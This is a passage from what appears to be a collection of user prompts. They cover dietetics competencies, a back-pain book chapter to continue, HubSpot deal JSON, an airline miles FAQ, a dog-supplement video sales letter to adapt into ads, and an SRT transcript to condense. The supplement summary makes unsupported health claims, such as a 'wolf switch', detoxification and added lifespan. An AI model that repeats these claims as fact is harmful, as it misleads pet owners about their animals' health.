5.3 Practice how to self-advocate for opportunities in a variety of settings (such as asking for support, presenting an elevator pitch).\nKRDN 5.4 Practice resolving differences or dealing with conflict.\nKRDN 5.5 Promote team involvement and recognize the skills of each member.\nKRDN 5.6 Demonstrate an understanding of the importance and expectations of a professional in mentoring and precepting others.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nCRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nCRDN 5.3 Prepare a plan for professional development according to Commission on Dietetic Registration guidelines.\nCRDN 5.4 Advocate for opportunities in professional settings (such as asking for additional responsibility, practicing negotiating a salary or wage or asking for a promotion).\nCRDN 5.5 Demonstrate the ability to resolve conflict.\nCRDN 5.6 Promote team involvement and recognize the skills of each member.\nCRDN 5.7 Mentor others.\nCRDN 5.8 Identify and articulate the value of precepting." -'this is chapter 20 of original book\n{CHAPTER TWENTY\n The Sacrum and Coccyx\n From Chris and Jeremy\nFrom Chris\nThe sacrum is the last section of the spine, the vestigial collection of vertebrae that are welded into one solid piece, down at the bottom. And the coccyx is the tippety-tip of the sacrum, the last bit of bone at the end of that long chain, which has been such a torment to you for so long. \nAnd this is the end of the book. The end of the long chain of chapters that we hope—with all our hearts—will deliver you from such torment forever. From now on, it’s up to you. Go back through the book, do the exercises, and change your behavior the way you know you should. Up to you now. \nMay I say, here at the end, that putting this book together has been great fun for Jeremy and me. It has taken more than a year, and it has been a ton of work. We hope it reads as if it were easy as pie, but it wasn’t. We worked like crazy to make it seem easy—and to make it truly accurate without driving you crazy. Don’t know how well we did on that, but we sure did try. And it was fun for a couple of reasons. First, from my point of view, Jeremy is awfully good company. He is deadly serious about his profession but he loves to laugh, too. And, God bless us, we think we’re funny. That helped a lot. On a slightly more serious note, learning all the stuff I had to learn about the back this past year was fascinating and a privilege. Interesting piece of machinery, the back, and Jeremy could not have been a better guide. \nFinally, both of us are true believers in this “revolution” I mentioned up front, and that is a tremendous help. The whole time we were digging away at this boring detail or that, we had the agreeable conviction that we were not just ink-stained wretches, noses to the page. We were centurions in the great war against cruel, needless pain. That helped a lot, too. \nBut the whole business won’t be satisfying to us if it doesn’t work, for you. And that takes me back to my one great worry, the one I mentioned before. \nI worry that we leave so much of this up to you, when we know that Americans just aren’t used to that. Americans are used to going to the magician/doctor. He has a look around, maybe does an MRI. And then hands us a prescription, or gives us a shot. Or sends us to his pal the back surgeon, who does some clever thing to make us all better. As we’ve said again and again, that’s not going to work here. You have to do it yourself—you have to do the exercise, make the changes. But the great question is, will you find the resolve to make it happen? Jeremy says he’s sure you will, because he knows your pain. He knows just how deep and sharp your motivation is. I hope he’s right. \nWhat we are urging is not really that hard; it is mostly just unfamiliar. And you surely have the resources and motivation to make it happen. I know you’re smart enough; you just read this darned book, after all. I know you are disciplined enough; you’ve been going to work all these years. And I know you care, because I know about your pain. Now just take those three things and reorient them a little. And save your life. Then spread the word and save your family, save the country. Get the ogre out of all our lives. It can and should be done. \nFrom Jeremy\nI can’t agree more with Chris’s words. He and I had such a great time writing this book, and we are both deeply optimistic about what it can do for you. As you well know by now, I am not the “word guy”; that’s Chris. So I will be uncharacteristically brief and just say I have seen this protocol work a thousand times in my practice. Now I want to see it work a million times, perhaps more than that, with this book. As we mentioned at the beginning, we want a revolution in back care in this country. Starting with you. We want to take this scourge out of all our lives. \nJEREMY’S RULES\n1\nStop doing dumb stuff.\n2\nBe still so you can heal.\n3\nBrace yourself.\n4\nCommit to your core.\n5\nUse the power in your posterior.\n6\nCrawl before you walk. Walk before you run.\n7\nStand tall for the long haul.\nAPPENDIX\nThe “Cheat Sheet”\nWe threw a lot at you in this book. In time, it will seem like second nature. When you get to that point, it may still be useful to have a simple guide to remind you where you are, what to do next, and so on. To that end, I give you this “cheat sheet” to summarize all the exercises we have told you to do and to tell you when to do them. Here is your daily and weekly plan.\nI strongly encourage you to read this book a few times a year. Trust me, you are trying to change lifelong habits and it’s very easy to default back to the old ways. Come back to the book and think through each exercise every so often. Avoid the trap of falling into those same bad habits that got you here in the first place. The book is the key to taking your life back and leaving the anxiety, stress, and pain of back problems in the past. In between readings of the book, there’s this Exercise Cheat Sheet. \nBasic Core Exercises\nThese exercises (see Chapter 10) should be done every day, and are best done in the morning after being out of bed for thirty minutes or so. Remember to do progressions or regressions as needed for each. Move on to the next progression of a particular exercise when and if you feel ready. Start with one circuit and work your way up to two full circuits in time, and make that your daily habit. In time, this will take you ten to fifteen minutes.\n1. Slow March with Neutral Spine with Shoulder Flexion\n2. The Bridge \n3. Crunch and Plank\n4. Dynamic Hamstring Stretch\n5. Side Plank\n6. Cat/Camel Mobilization\n7. “Bird Dog,” or Opposite Arm/Leg Extension\nGlute Strengthening Routine \nDo these exercises three times a week on nonconsecutive days in addition to your core routine. Start with two sets and work your way up to three in time. This will likely add an additional ten minutes or so on those three days a week that you do these. \n1. Hip Circles Do these first!\n2. Clamshell\n3. Quadruped Hip Extension\n4. Split Squat\n5. Squat\nTrigger Point Release\nDo this as needed. If you got noticeable improvement in back, hip, or leg pain after mastering this, do it prior to your glute workouts until it is no longer needed. \nStretches \nFollow up your glute routine with the following stretches from Chapter 17.\nThis will take three to four minutes.\n1. Hamstring Stretch\n2. Glute Stretch\n3. Piriformis Stretch\n4. Psoas Stretch\nTHE BACKFOREVER VIDEOS\nFor those of you who want to safely return to more demanding activities like weightlifting, skiing, golf, tennis, Pilates, yoga, etc., we invite you to become members of BackForever.com, where you will find hundreds of hours of detailed video instruction on these subjects. Visit BackForever.com to learn more. Enter this promo code to receive two free weeks of membership: YNYTRIAL.\nACKNOWLEDGMENTS\nThanks to Jeremy, first of all, for being such a joy to work with. Coauthorship is supposed to be hard. For me—especially in this book—it has been a joy. We worked mighty hard, but we laughed a lot too.\nJeremy and I have been blessed—and we know it—to have a superb editor in a smart, kind, diplomatic, literate Bruce Tracy at Workman. (That is a shortened list of attributes; Bruce was terrific. And he really got down into the weeds as well as the big picture. As good as they get.) And, as always, thanks to the wise and kind Suzie Bolotin, editor of the Younger Next Year® books and Uber-editor of this one. Heaven!\nLast, thanks to Bill Fabrocini, just about the smartest and most effective guy Jeremy and I know in the broad world of physical therapy and serious training. And about as nice a human being as I have ever met. Deep thanks, Bill.\n—C. C.\nI’d like to thank all of the people who have helped me become the clinician I am today. I’d like to thank Clinton Phillips, Michael Fox, Tim Powersmith, and Bill Fabrocini for their friendship, guidance, and the opportunities they have given me. Back pain has been one of the most misunderstood afflictions in modern society. Many of the concepts in this book are the result of the research and teaching of a handful of dedicated and pioneering individuals. There are many, but I would like to give special mention to Vladimir Janda, MD; David Simons, MD; Janet Travell, MD; Nikolai Bogduk, MD, PhD; and Stuart McGill, PhD. This book wouldn’t have been possible without your accomplishments. }\nRead the chapter 20 of original book that I sent you and save it in your memory. Then, based on this text of chapter 20 of original book and your own information, continue the text of chapter 20 of the new book as much as you like. morover, with explaining with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 20 of original book, you can start' -'Here is the object\n{\n "id": "11830399573",\n "properties": {\n "amount": 5000,\n "closedate": "2023-01-31T12:54:30.118Z",\n "createdate": "2023-01-24T12:57:24.913Z",\n "dealname": "Lagaan",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-24T12:57:27.407Z",\n "hs\\_object\\_id": "11830399573",\n "pipeline": "default"\n },\n "updatedAt": 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"dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:52:42.040Z",\n "hs\\_object\\_id": "11777458459",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:52:42.040Z",\n},\n{\n "id": "11777125644",\n "properties": {\n "amount": 400,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Laal Singh Chaddha",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n},\n{\n "id": "11777125679",\n "properties": {\n "amount": 1000,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Gazani",\n "dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n},\n{\n "id": "11830399573",\n "properties": {\n "amount": 5000,\n "closedate": "2023-01-31T12:54:30.118Z",\n "createdate": "2023-01-24T12:57:24.913Z",\n "dealname": "Lagaan",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-24T12:57:27.407Z",\n "hs\\_object\\_id": "11830399573",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-24T12:57:27.407Z",\n},\n{\n "id": "11599708199",\n "properties": {\n "amount": 10000,\n "closedate": null,\n "createdate": "2023-01-06T12:54:12.329Z",\n "dealname": "PK",\n "dealstage": "decisionmakerboughtin",\n "hs\\_lastmodifieddate": "2023-01-23T12:10:43.225Z",\n "hs\\_object\\_id": "11599708199",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-23T12:10:43.225Z"\n},\n{\n "id": "11777458459",\n "properties": {\n "amount": 30000,\n "closedate": null,\n "createdate": "2023-01-20T16:52:39.477Z",\n "dealname": "Dangal",\n "dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:52:42.040Z",\n "hs\\_object\\_id": "11777458459",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:52:42.040Z",\n},\n{\n "id": "11777125644",\n "properties": {\n "amount": 400,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Laal Singh Chaddha",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n},\n{\n "id": "11777125679",\n "properties": {\n "amount": 1000,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Gazani",\n "dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n}' -'Given the FAQ below, I would like to generate a knowledge graph from it. Can you suggest the entity classes that I should use?\n\nQ. What is “Pay with Miles/Mix Miles and Cash”?\nA. “Pay with Miles” (PwM)/Mix Miles with Cash is the project enabling KrisFlyer (KF) members to use their KF miles as payment or partial payment of their commercial tickets and selected ancillaries on singaporeair.com (SAA).\nQ. How will this payment method benefits KF members?\nA, Members will be able to use this payment option for all commercial booking classes available on SAA, which means that they will have access to all available seats on all flights operated by SIA. Members will also have control over the number of miles they want to use, as long as it is more than the minimum required. Members will have more opportunities to use their miles before expiry. \nQ. What is the minimum number of miles required to pay for a commercial ticket?\nA. A minimum of approximately 1050 KF miles is required per transaction (i.e., per PNR). This minimum may vary as the conversion rate from SGD to KF miles is subject to change upon review. For information only: The conversion rate is stored as SGD 1: 105 KF miles, hence the KF miles deducted for such a transaction will always be in multiples of 105 miles.\nQ. Is there a maximum number of miles which is allowed to be used?\nA. No, members can pay up to 100% of the commercial ticket using miles (inclusive of airport taxes and surcharges).\nQ. If members do not have enough miles, can they purchase miles to pay for tickets?\nA. No, purchase of miles is only available when redeeming award tickets or flight upgrades.\nQ. Will members be able to use their miles to pay for taxes and surcharges on their commercial tickets?\nA. Yes, members will be able to use their miles to pay for airport taxes and surcharges of their commercial tickets bought on SAA. \nIn other words, the entire commercial ticket can be paid for with miles.\nQ. Can members use their miles to pay for the tickets of their friends and family?\nA. Members can use their miles to pay for the commercial tickets of their nominees (RGN) only. Members can nominate up to a maximum of 5 RGNs. Nominees can be added at any time. However, once added, these RGNs cannot be removed or changed for a period of 6 months and a fee is applicable.\nQ. Can members use their miles to pay for flights on another airline?\nA. No, members are only able to use their miles for SIA operated flights. If members were to purchase an itinerary on SAA which includes a codeshare flight operated by another airline, they would also be unable to use KF miles to pay for the SIA operated flight within that itinerary.\nQ. Can members use KF miles to pay for a booking made through a travel agent?\nA. No, the KF miles payment option is only available for KF members via SAA. \nQ. For transactions in foreign currencies, would the cash component be rounded up or down? Would it be rounded off to the nearest dollar?\nA. Itineraries originating from outside Singapore will be priced in local currencies (as per current SAA logic), and the local fares will be converted to SGD (based on the IATA rounding logic) before being converted to KF miles. \nQ. What is the SGD to miles conversion rate?\nA. The current conversion rate is SGD1per 105 KF miles. This rate will be reviewed periodically and is subject to change. \nQ. Will the SGD to miles conversion rate be made known to members?\nA. The conversion rate will not be explicitly made known to members on SAA (both on the content pages and the booking flow). However, if members were to enquire about the conversion rate or about the monetary value of the miles in their accounts, you can share that the conversion rate is currently SGD1 per 105 KF miles. Members can then work out the value of their miles and the amount they wish to use. Please note that this conversion rate will be reviewed periodically and is subject to change. \nQ. Will members be able to accrue PPS Value, Elite miles and KF miles if they use their miles as payment for their commercial ticket?\nA. Yes, KrisFlyer and Elite miles will be earned, in proportion to the fare (excluding airport taxes) paid using credit/debit card if the fare is mileage accruable. The PPS Value accrued will similarly be derived from the proportion paid using credit/debit card. The current conditions for accruing and calculating PPS Value still apply. As a result of this logic, the KF miles used to pay for a transaction will first be used to offset all the airport taxes of all the tickets before being used to offset the fare and fuel surcharges of the tickets. Please note that Elite miles and KF miles accrued on tickets that are partially paid for using KF miles can only be accrued to KF account. The miles accrued on such tickets cannot be parked with any other OFFPs.\nQ. Will members be able to opt to accrue miles for other KF members before themselves?\nA. No, we have optimized the accruals to benefit the principal member (the member who has used his/her miles to purchase the tickets). Members will not be able to adjust this logic.\nQ. Can members accrue miles to OFFP accounts?\nA. No, the miles earned from a commercial ticket paid for with KF miles can only be credited to their KF accounts. \nQ. Are these tickets subject to any special conditions?\nA. Yes, commercial tickets paid for with KF miles are strictly non-endorsable, even if the purchased fare is one which is fully endorsable. Other than that, the prevailing commercial conditions associated with the fare paid will be applicable.\nQ. Are redemption upgrades allowed for tickets that are paid for with KF miles?\nA. Yes, redemption upgrades are allowed for tickets that are paid for with KF miles as long as the commercial fare is in an upgradeable booking class.\nQ. Will members be able to make changes to their tickets paid for with KF miles on SAA?\nA. For flight or itinerary changes, members will have to contact their local SIA office or call centres. Any additional collection resulting from these changes can only be paid for using credit card/debit card/cash. Fare conditions will apply. Members will be able to submit their request for booking changes via SAA which will be routed offline for handling. These requests will be routed based on the POS for that transaction. For seat and meal requests, members will be able to self-service on SAA. \nQ. Can a ticket paid for with KF miles be issued by AROs/call centres?\nA. Offline assistance is to be provided to the passenger for exceptional handling only.\nQ. How do we service a customer when SAA is down?\nA. This payment feature is only available on SAA. As a result, if SAA is down, KF miles will not be an available payment option at that time. Member will be able to continue to complete the transaction offline, but payment must be made using credit/debit card. \nQ. Will members be able to go back onto SAA to do seat and meal requests after their bookings are reissued offline?\nA. Yes, as per all commercial tickets, members can make seat and meal requests on SAA for their tickets paid for with KF miles even if they have been reissued offline by AROs/call centres. \nQ. Can tickets paid for with KF miles be refunded on SAA?\nA. Yes, as per all other commercial tickets, tickets paid for with KF miles can be submitted for refunds on SAA if the tickets are completely unflown and have not been reissued. The maximum amount paid using credit/debit card will be refunded to members first (not exceeding the original amount paid using credit/debit card). The balance will then be refunded accordingly in miles. KF miles that have expired, will not be refunded.\nQ. How will the refund be handled for cancellations of a ticket paid for with miles?\nA. If refunds are applicable, then the maximum possible amount of the fare paid using credit/debit card (but not more than the original amount paid using credit/debit card) will be refunded first. The remaining refund amount, if any, will be returned in equivalent miles. In other words, we will always refund the “cash” amount first (not exceeding the original amount paid using credit/debit card), before refunding the KF miles. This logic also applies to the refund of residual value when a ticket is reissued from a higher fare to a lower fare. KF miles that have expired, will not be refunded.\nQ. Will residual miles be refunded for reissuance from higher fares to lower fares?\nA. For a booking change from a higher fare to a lower fare, the refund logic will apply to the residual value. In other words, we will always refund the “cash” amount first (not exceeding the original amount paid using credit/debit card). Any balance refund amount will then be refunded in miles. KF miles that have expired will not be refunded.\nQ. What happens if some miles used to pay for the flight have already expired at the point of refund?\nA. The expired miles will not be refunded. Only miles which have not expired can be refunded. Any applicable fees and charges associated with the refund will be deducted from the oldest miles used for the ticket. I.e., Expired miles will be used to deduct such charges first. \nQ. How can we verify whether the miles the member used to pay for the flight have already expired?\nA. Information on the expiry of the miles used for tickets is available in the transaction record in MARMS. Alternatively, once the refund mask has been created in Altea, the information is displayed as a response from MARMS. Members will also be advised of this if they submit their tickets for refund on SAA. \nQ. How can members submit their tickets paid for with miles for refund?\nA. Members can either submit their tickets for refund on SAA or they may contact their nearest SIA office to do so. For tickets submitted for refund offline, these tickets must be refunded by the original issue station. \nQ. When will the miles be credited back to members’ accounts when they submit their tickets paid for with miles for refund?\nA. The miles will be returned to members’ account immediately once the refund is successfully completed. \nQ. If members have purchased a commercial ticket paid fully with credit/debit card, will they be able to use miles to pay for any additional collection resulting from a reissuance?\nA. No, this new payment option is only available on SAA for new ticket issuance. \nQ. Will members be able to use their miles to pay for any other services available on SAA?\nA. No, KF miles are only available as a payment method for commercial tickets. We are working on increasing the list of SIA services members can use their KF miles to pay for. \nQ. Can members use their miles to pay for the taxes and surcharges on their redemption award tickets?\nA. No, members can only use their miles to pay for commercial bookings (including taxes and surcharges) made on SAA. We are working on enabling members to pay for taxes and surcharges on their redemption tickets in the next phase of development.\nQ. When can members use their KF miles to pay for taxes and surcharges on their redemption tickets or for any other SIA services?\nA. We are working on enabling members to use their miles to pay for (i) taxes and surcharges on their redemption tickets and (ii) other SIA services. This will be in the next phase of development.\nQ. Will OFFP members (e.g., LH Miles & More member using LH miles) be able to use their own miles from their respective FFP programmes if they are not KF members?\nA. No, only KF miles can be used for this new payment option. Hence, only KF members (who accrue KF miles) will be able to use this payment option. \nQ. Can member continue to use their KF miles to redeem Saver, Standard and Full Award tickets?\nA. Yes, we will continue to maintain the current redemption options for members. This is an additional programme feature which will increase the number of options for members to make use of their miles.\nQ. Is it better to use KF miles to pay for a commercial ticket or redeem an award ticket?\nA. The number of miles required to pay for a commercial ticket depends on the fares available at the time of purchase. Customers are advised to check the mileage requirement for both the commercial ticket and the Award redemption, as well as to consider the applicable fare conditions before deciding which ticket type is more suitable for their purpose.\nQ. Will members be able to pay for an infant ticket with miles?\nA. Currently, infant nominees are not available in the dropdown list on SAA. However, once this feature is made available on the commercial booking flow, members will be able to pay for their infant tickets with miles.\nQ. Will members be able to make a booking for himself and/or his nominees and other passengers who are not his nominees?\nA. Yes, however, members will only be able to use their miles to pay for the tickets for themselves and their nominees. They will have pay for the tickets of any other passengers using credit/debit card. \nQ. For tickets paid for with miles with itineraries starting from MI destinations, will MI be able to service (reissue/revalidate/refund) these tickets?\nA. No, as these tickets involve the collection of miles, they will have to be routed to SQ for handling. This is similar to the handling of redemption tickets. \nQ. When voiding a reissue of a ticket originally paid for with miles, the FOP for the reissue must be deleted before attempting another reissue. Why is this so?\nA. MARMs will return an approval code for all reissue ticket and this approval code is appended into the FOP field. When the reissue ticket is voided, a void message is sent to MARMs and the approval code will be invalidated by MARMS. Hence, if the FOP is not deleted, Altea will use the same approval code to issue the new ticket and this new ticket number will not be updated by MARMS. Subsequent servicing such as reissue or refund will fail since MARMS has no record of this new ticket.\nQ. Why is voiding the refund of a ticket originally paid for with miles not allowed even when sales report is not closed yet?\nA. Like a redemption ticket, Altea does not send any void message to MARMs for voiding of a refund record for tickets originally paid with miles. Hence, MARMs will not be aware that the refund is voided and subsequent attempt to refund the ET will fail.\nQ. How can members submit their tickets paid for with miles for refund?\nA. Members can either submit their tickets for refund on SAA or they may contact their nearest SIA office to do so. For tickets submitted for refund offline, these tickets must be refunded by the original issue station. \nQ. Why must refund of tickets, which has been paid with miles, always be refunded by original issue station?\nA. If refund is done by a different station, BBR will be used to convert refundable amount to the refund station currency. However, MARMS only stores IATA exchange rate. Hence, there is a possibility that the converted amount using BBR may be higher that the converted rate by MARMS, thus resulting in refund failure. \nQ. For tickets paid for with miles, cover refund is permitted for a flown ticket but not an already refunded ticket. Why is this so?\nA. Altea will make a call to MARMs for all refund of tickets which has been paid for with miles. MARMs will have a record that the ticket is already refunded, hence further refund will not be allowed. MARMS has no record that the ticket is flown, hence cover refund is still allowed for flown ticket.\nQ. Zero refund is not allowed for tickets paid for with miles. Why is this so?\nA. MARMS expects to receive the FOP details for tickets paid for with miles in the refund message from Altea. However, there is no FOP for zero refund, hence zero refund is not allowed for ticket, which has been paid with miles. For reissue of tickets paid for with miles, only cash is allowed if additional fare is required. Why is FQTR still a mandatory element for such reissues and also reissue without adc as well? MARMS need the FQTR number from Altea in order to create the MARMs record for the reissue transaction.\nQ. If the member wants to use 100% of the miles for his own ticket only, can he select "Not a nominee" in the passenger details and manually type in his RGN\'s details?\nA. The logic for accruals has been defaulted to always favour the principal member. The principal member will always accrue full miles before the nominee (also a KF member) accrues any miles. In the event the principal member would like to use miles to pay for his own ticket and not his nominee, he may choose not to select his nominee from the dropdown list. Instead, he could choose \'Not a nominee\' and enter the 2nd pax details manually, he will not be able to use miles for this 2nd pax. In this case, the principal member will get either partial/no accrual while pax 2 will get full accrual. \nQ. Why a residual value eMD, that is issued against a ticket paid for with miles, cannot be reissued into another ET or eMD? \nA. Such reissue is not in scope for phase 1. MARMs will return an error message to Altea and reissue will fail. Hence, the eMD must be submitted for refund. This will be reviewed by LMD in phase 2.' -'So we want to make youtube video ads that will drive clicks to a landing page that in turn will drive clicks to a Video Sales Letter (VSL). Here is a summary of the VSL for this new product. As you can see it is different to the others which were for humans, this is to appeal to the owners of dogs:\nResearch has revealed that dogs living in poorer countries are healthier and live longer than those with access to pet food, as pet food is often low quality and filled with unhealthy ingredients. This leads to an increase in health problems such as cancers, joint problems, and digestive discomfort. Pet owners can counter this by providing their dogs with essential nutrients, which can be found in the kitchen and are similar to what a wild dog would eat.\nNutrients have been known to reverse the harm done to pets and add years to their life expectancy. These nutrients, known as the "wolf switch", activate the pet\'s natural ability to purify their body and transform their blood circulation and nutrient absorption. They have become famous in high end clinics and are used to clean out built up toxins and erase hidden pain. People have reported increased energy, better joint lubrication, improved digestion, and no discomfort in their pet\'s bodies. Testimonies from pet owners have reported seeing their pets feeling happier and more energetic. James Thomas has dedicated his life to rescuing endangered animals, having helped save more than 132 lions, 29 rare Indian elephants, and 4 polar bears.\nA traveling circus brought in Rafiki, an animal who was barely able to stand and wouldn\'t eat. After 5 months of fighting to save him, he was released into Etosha National Park in Namibia. 13 years later, the narrator still visits Rafiki and is proud of their own pet, Rex, a 9 year old German Shepherd who has traveled the world with them. Rex has saved the narrator\'s life multiple times and is as intelligent as a person. When Rex fell ill on a trip to Thailand, the narrator took him to the vet, but all the vets dismissed the concerns and recommended expensive procedures and tests. After visiting 4 vets, the narrator had racked up bills of $4,300 with no results. They finally decided to visit an older vet in the area and the narrator wonders if staying home and not traveling is affecting Rex.\nJoe, an 85-year-old animal lover, gave advice to a specialist working with dogs about how to help Rex. Joe suggested that people have become too used to treating their dogs like family, forgetting they are wolves and should be fed with meat and allowed to run around. Recent studies showed that stray dogs in terrible conditions live longer than well-cared-for dogs, which got the specialist thinking. Joe said the problem was the quality of the food, and after months of research, the specialist found that pet food often contains hidden hormones and unhealthy ingredients like vegetable oil, soy, and grains. Pet food companies have had to pay settlements when their food was found to be unhealthy or deadly.\nMultiple pet food companies have been found to be in violation of their "True Blue Promise" of using natural ingredients and have settled lawsuits for millions of dollars. In addition, pet food is often cooked at extreme temperatures to increase shelf life, creating AGEs which can lead to chronic diseases and weight gain in pets. 56% of dogs in the US are overweight or obese, and many pet owners are unaware that their pets are overweight. This problem is known as the "fat pet gap" and can have serious health consequences for pets.\nCarol Osborne, an integrative veterinarian, warns that being just 10% overweight decreases a dog’s lifespan by one-third. Companies use overweight dogs in commercials, making it difficult to recognize what healthy dogs look like. Poor pet nutrition is to blame for this decrease in pet lifespan, as the USDA and FDA do not regulate pet food quality. Veterinarians are taught little about pet nutrition, and what they do learn comes from pet food companies. This has caused many pets to suffer in silence due to the poor quality of their food. To find a solution, the author reached out to Dr. Montgomery, an expert in canids, to help improve pet nutrition.\nA specialist was hired to take care of expensive dog breeds for Russian oligarchs and Arab princes. The dogs were fed fresh game and carefully calculated nutrients to keep their bodies in prime condition. The author wanted to find a solution that was just as good, but easier, and was sent research papers by the specialist. The author discovered that feeding dogs rich broth from the bones of chickens and cows was a good solution, but something more powerful was needed to clear out toxins. Burdock root was chosen as it is traditionally used for soothing the kidneys, as a blood purifier, relieving the lymphatic system, rheumatism, stomach ailments, and skin and fur problems. It is also used to boost liver function, fight infections, bacteria and allergies, and improve skin health.\nThis text discusses two roots that can be used to improve the skin, thyroid health, adrenal function, cortisol levels, and insulin sensitivity of dogs. Ashwagandha is a hormonal detoxifier, while ginseng is rich in ginsenosides which can help dogs lose weight. Astragalus root is an adaptogen which can help with kidney infection and DNA repair. Finally, dandelion root is a plant food which can remove toxins from the bloodstream and improve digestion.\nDandelions are a powerful and healthy root, especially the species that grows in mountainous regions of Uzbekistan and Kazakhstan. Curcumin and MCT oil help reduce swelling and inflammation associated with arthritis in pets, while Equisetum and bovine collagen help with bone density and joint health. A mix of these ingredients, known as primal nutrients, can help maintain a pet\'s natural health. Chicken bone broth is a delicious treat for pets, but it must be pet-safe to avoid potential harm.\nA person created a solution of primal nutrients mixed with chicken bone broth to help their dog, Rex, regain health and strength. They sourced only the best ingredients and tested it with Joe, their vet. After a week, they saw a huge improvement in their dog and decided to share the primal nutrients treatment with other dog owners. After a few weeks, dozens of messages came in from grateful pet owners saying their dogs were looking healthier and had more energy. The improvements were visible in digestion, teeth health, joint inflammation, and more.\nUltraK9 Pro is a complete treatment for dog health and longevity that can help clear a dog\'s body of extra weight, strengthen their liver, kidneys and thyroid, reduce inflammation and aches in joints and tendons, and add years to their life. It has been seen to work wonders for dogs of all ages and sizes, with many owners seeing improvements in their pet\'s coat, energy levels, digestion and overall health in as little as a couple of weeks.\nUltraK9 Pro is a primal nutrients treatment for dogs that helps to clean their bodies of toxins, hormones, preservatives, allergenic grains, and AGEs. It is made in the United States with quality assurance teams to make sure each batch has the right amounts of each ingredient. Results can be seen within 6 months to a year, and the treatment should be given at least every day for the first few months. It can be added to any store bought or home-made meal and the dropper provided makes it easy to measure the correct amount. Quality control is paramount and this product can only be found on this website.\nA person created a primal nutrients treatment for dogs that costs as low as $1.50 a day and contains vital nutrients that are not found in wet dog food. The person was able to negotiate with suppliers to reduce the cost of the treatment and provides two bonus books for free with the small and big boy packages. The books contain secrets from top rated pet experts, dog trainers, and race dog groomers about how to keep a dog\'s mane and teeth in perfect condition.\nUltraK9 Pro is a package that helps improve a dog\'s health and wellbeing. It includes a liquid to never feed a dog, a guide to form the best team with your dog, and a bottle of primal nutrients treatment. It also includes a 60-day money back guarantee and free shipping for certain packages. The package is available only on this website and can save thousands in vet and lab costs.\nUltraK9 Pro is a special formula of primal nutrients designed to help keep dogs\' livers, kidneys, thyroids, joints, tendons, and teeth in prime condition. It can help to reduce inflammation, clear the body of toxins, and add years to a dog\'s life. It comes with free shipping, a 60-day money-back guarantee, and two top value guides. Primal nutrients are important for dogs as they can help to strengthen their bodies and fight against unnatural elements that can cause pain and suffering.\nUltraK9 Pro is a special nutrient that activates the "wolf switch" in dogs, allowing them to become healthier and more energetic. It can be added to any type of meal and is said to be very tasty. Benefits include improved digestion, teeth health, and joint inflammation, and results can be seen in as little as a week. It is covered by a 60 day money back guarantee and comes with two bonus books.' -"可以幫我用下方srt整理出1分鐘的精華片段嗎，用srt排列呈現給我就好\n\n1\n00:00:03,866 --> 00:00:06,466\nhi guys how are you\n\n2\n00:00:12,166 --> 00:00:13,566\nso good to see you guys\n\n3\n00:00:13,566 --> 00:00:15,466\nare you guys having a good night\n\n4\n00:00:21,333 --> 00:00:25,733\nI have to say that it's such an honor to be here\n\n5\n00:00:25,733 --> 00:00:27,966\nit is I'm so happy to be here\n\n6\n00:00:27,966 --> 00:00:30,799\nI'm like a nerd and brought my own speech but\n\n7\n00:00:31,700 --> 00:00:34,533\nI hope it's okay that I take this opportunity to really\n\n8\n00:00:34,533 --> 00:00:36,133\njust spend with you guys\n\n9\n00:00:36,133 --> 00:00:39,066\nand tell you a little bit about my story\n\n10\n00:00:39,500 --> 00:00:41,500\nI'm not an activist\n\n11\n00:00:41,500 --> 00:00:44,266\nI haven't changed the world or let a campaign\n\n12\n00:00:44,566 --> 00:00:45,866\nI'm here to just tell\n\n13\n00:00:47,733 --> 00:00:50,666\nso that you hopefully can take something away from it\n\n14\n00:00:50,666 --> 00:00:54,099\nbecause I don't like being honest with\n\n15\n00:00:54,266 --> 00:00:56,733\nthis is the truth I don't like being honest with\n\n16\n00:00:57,166 --> 00:00:58,966\npress and interviews\n\n17\n00:00:58,966 --> 00:01:01,399\nI like being honest with you directly\n\n18\n00:01:01,400 --> 00:01:03,333\nwhich is each and every one of you\n\n19\n00:01:06,200 --> 00:01:08,133\nbecause I feel like I can and\n\n20\n00:01:08,966 --> 00:01:10,866\nI'm just gonna start with the basics\n\n21\n00:01:10,866 --> 00:01:11,933\nso I'm 21\n\n22\n00:01:12,966 --> 00:01:14,533\nand my mom had\n\n23\n00:01:16,800 --> 00:01:19,166\nmy mom had me when she was 16\n\n24\n00:01:19,733 --> 00:01:21,766\nand I'm from grande Perry Texas\n\n25\n00:01:21,766 --> 00:01:23,966\nand she worked 